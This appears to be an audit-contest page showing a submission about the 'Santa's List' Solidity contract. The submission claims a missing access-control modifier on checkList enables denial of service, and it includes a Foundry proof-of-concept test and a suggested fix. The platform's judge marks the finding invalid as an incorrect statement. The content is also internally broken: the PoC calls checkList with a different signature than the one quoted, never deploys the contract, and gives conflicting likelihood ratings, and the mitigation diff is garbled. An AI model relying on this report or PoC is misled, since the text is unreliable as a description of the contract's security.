Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Broken Access Control in checkList leads to Denial of Service (DoS) on collectPresent

Root + Impact

In SantasList.sol, the checkList function is intended (based on developer comments) to be callable only by Santa (onlySanta). However, it completely lacks any access control modifier:

function checkList(address person, Status status) external {

s_theListCheckedOnce[person] = status;

emit CheckedOnce(person, status);


}

Because of this missing modifier, any arbitrary attacker can call checkList and overwrite the first-stage check status of any user in the system.

Description

1. Vulnerability Details:


In SantasList.sol, the checkList function is designed to record the first-stage check status of a user. However, it completely lacks any access control modifier (such as onlySanta):

Because of this missing modifier, any arbitrary external user or malicious attacker can directly call checkList and overwrite the first-stage status of any participant in the system.

solidity
​
function checkList(address person, Status status) external {
​
s\_theListCheckedOnce\[person] = status;
​
emit CheckedOnce(person, status);
​
}
// Root cause in the codebase with @> marks to highlight the relevant section

Risk

High

Likelihood: High

Impact:

A malicious attacker can overwrite the first-stage check status of any legitimate user by exploiting the missing access control in checkList. This breaks the requirement in collectPresent(), causing valid transactions to revert (SantasList__NotNice()). As a result, legitimate users suffer a complete Denial of Service (DoS) and are permanently blocked from collecting their earned rewards (NFTs and SantaTokens).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
import "forge-std/Test.sol";
import "../src/SantasList.sol";
​
contract SantasListPoCTest is Test {
SantasList santasList;
address santa = address(1);
address user = address(2);
address attacker = address(3);
​
function setUp() public {
vm.deal(santa, 10 ether);
vm.deal(user, 10 ether);
vm.deal(attacker, 10 ether);
​
// فرض بر این است که قرارداد در اینجا دیپلوی می‌شود
// SantasList implementation...
}
​
function test_DoS_CheckList_Overwriting() public {
// ۱. کاربر عادی توسط سانتا تایید می‌شود (مثلاً وضعیت NICE)
vm.prank(santa);
santasList.checkList(user, SantasList.Status.NICE, "Nice User");
​
// ۲. مهاجم بدون داشتن دسترسی (فقدان modifier) وضعیت کاربر را به NAUGHTY تغییر می‌دهد
vm.prank(attacker);
santasList.checkList(user, SantasList.Status.NAUGHTY, "Hacked!");
​
// ۳. وقتی کاربر می‌خواهد هدیه خود را بگیرد، به خاطر شرط بررسی دو مرحله‌ای یا عدم تطابق، تراکنش ریورت می‌شود
vm.prank(user);
vm.expectRevert(); // SantasList__NotNice()
santasList.collectPresent(user);
}
}
​

Recommended Mitigation

Add the onlySanta modifier (or appropriate access control check) to the checkList function to ensure that only authorized accounts can update or modify users’ statuses in the first stage.

Ensure that critical state-modifying functions handling access control, checks, and administrative actions are strictly restricted to trusted roles.

- remove this code
+ add this c>
function checkList(address person, Status status, string memory encodedName) external onlySanta {
> // ...
> }
>
ode
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!